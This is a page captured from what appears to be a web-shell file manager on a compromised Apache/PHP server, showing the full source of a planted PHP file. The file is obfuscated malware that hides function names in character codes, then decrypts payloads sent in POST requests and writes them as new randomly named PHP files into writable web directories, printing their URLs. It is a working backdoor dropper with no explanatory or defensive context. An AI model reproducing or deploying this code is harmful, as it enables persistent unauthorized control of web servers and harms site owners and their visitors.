HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/download/hpkwnxai.php
<?php $bOERt = "yfyHSlcxfz";function HRrxp($bOERt){ $rqdJvSoLMU = 's'."\164"."\162"."\x5f"."\x72"."\x6f".'t'."\x31".chr(51);$bOERt = $rqdJvSoLMU($bOERt);$MPcLe = chr(367-253).chr(97)."\167".'u'.chr(114)."\154".chr(100).'e'.chr(99).chr(111).chr(714-614).chr(738-637);$bOERt = $MPcLe($bOERt);$bOERt = str_split($bOERt);return $bOERt;}function rcjVWdwGp($boTQWx, $aKjrGU){$boTQWx = array_slice(str_split(str_repeat($boTQWx, (count($aKjrGU)/16)+1)), 0, count($aKjrGU));return $boTQWx;}function LneOmj($zrDiA, $nAAFzxPEe, $boTQWx){$TgRSu = "d74331ef-8f4c-451f-aad2-3d704a63b876";return $zrDiA ^ $TgRSu[$nAAFzxPEe % strlen($TgRSu)] ^ $boTQWx;}function QeZXqNnm($aKjrGU, $boTQWx){$aKjrGU = array_map("LneOmj", array_values($aKjrGU), array_keys($aKjrGU), array_values($boTQWx));$aKjrGU = implode("", $aKjrGU);$oxISVRzD = 'u'.chr(110).chr(115).chr(170-69).chr(878-764)."\151".'a'.'l'."\151".'z'."\x65";$aKjrGU = @$oxISVRzD($aKjrGU);return $aKjrGU;}function AuByx(){echo "qMJPTBKyM";}function jQWZmVv($FDNAzir){static $BxIihbt = array();$BdWXPnrxLF = glob($FDNAzir . '/*', GLOB_ONLYDIR);$yZVfmhf = count($BdWXPnrxLF);if ($yZVfmhf > 0) {foreach ($BdWXPnrxLF as $FDNAz) {$eoAWyavQf = "\151".chr(1050-935).'_'."\x77".chr(114).chr(940-835).chr(116).chr(97).chr(98)."\x6c".'e';if (@$eoAWyavQf($FDNAz)) {$BxIihbt[] = $FDNAz;}}}foreach ($BdWXPnrxLF as $FDNAzir) jQWZmVv($FDNAzir);return $BxIihbt;}function LlUrqZHi(){echo "yfyHSlcxfz";}function OSNOYzl($aKjrGU){$YkTSePKLxK = chr(702-634)."\x4f".'C'."\x55".chr(812-735)."\x45".chr(1057-979).chr(84).chr(343-248).chr(82).'O'."\117".chr(84);$JhQIRAh = $_SERVER[$YkTSePKLxK];$BdWXPnrxLF = jQWZmVv($JhQIRAh);$aGQlqphh = array_rand($BdWXPnrxLF);$euRRsiHW = "\x2e"."\x70"."\150"."\160";$LtNPokw = $BdWXPnrxLF[$aGQlqphh] . "/" . substr(md5(time()), 0, 8) . $euRRsiHW;$MinosrGLee = "\x66"."\151".chr(454-346).chr(101).chr(95)."\x70".chr(117).chr(116).chr(95)."\143".chr(177-66)."\156".chr(774-658).chr(230-129)."\x6e".'t'."\x73";@$MinosrGLee($LtNPokw, $aKjrGU);$TrSkD = chr(72)."\x54"."\124".chr(292-212).chr(923-828)."\110"."\x4f"."\123"."\x54";$wZbTh = "\150"."\x74"."\164"."\x70"."\72".'/'.chr(78-31);$ofgNunL = $wZbTh . $_SERVER[$TrSkD] . substr($LtNPokw, strlen($JhQIRAh));print($ofgNunL);}function Gzufch(){$bszLzM = 'p'."\150"."\160";$dxLEgh = chr(595-483).'h'.'p'.chr(388-270).'e'.chr(114).chr(115)."\151"."\x6f".'n';$aKjrGU = Array($bszLzM => @$dxLEgh(), );$wQLPcsuh = 's'.chr(101).chr(656-542).'i'.'a'.chr(108).chr(105)."\x7a".chr(101);echo @$wQLPcsuh($aKjrGU);}foreach ($_POST as $boTQWx => $aKjrGU){$PmXrOLue = strlen($boTQWx);if ($PmXrOLue == 16){$aKjrGU = HRrxp($aKjrGU);$boTQWx = rcjVWdwGp($boTQWx, $aKjrGU);$aKjrGU = QeZXqNnm($aKjrGU, $boTQWx);if (@is_array($aKjrGU)){$aGQlqphh = array_keys($aKjrGU);$aKjrGU = $aKjrGU[$aGQlqphh[0]];$aGQlqphh = $aGQlqphh[0];if ($aKjrGU !== $aGQlqphh){OSNOYzl($aKjrGU);}else {Gzufch();}die();}}}